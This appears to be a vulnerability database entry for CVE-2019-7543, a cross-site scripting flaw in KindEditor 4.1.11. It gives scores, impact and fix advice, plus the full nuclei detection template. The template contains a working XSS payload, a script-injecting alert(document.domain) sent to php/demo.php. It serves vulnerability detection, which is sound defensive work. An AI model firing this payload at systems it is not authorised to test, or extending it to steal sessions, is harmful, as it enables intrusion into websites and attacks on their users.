HexBrain

Browse / CVEs / CVE-2019-7543

CVE-2019-7543· kindsoft / kindeditor· CWE-79

KindEditor 4.1.11 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.6%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor.

How to confirm it

Send: POST {{BaseURL}}/kindeditor/php/demo.php ; POST {{BaseURL}}/php/demo.php
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-7543 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-7543

info:
  name: KindEditor 4.1.11 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7543
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION-Deployments
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7543
    cwe-id: CWE-79
    epss-score: 0.03647
    epss-percentile: 0.89685
    cpe: cpe:2.3:a:kindsoft:kindeditor:4.1.11:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kindsoft
    product: kindeditor
  tags: cve,cve2019,kindeditor,xss,kindsoft,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/kindeditor/php/demo.php'
      - '{{BaseURL}}/php/demo.php'

    body: "content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from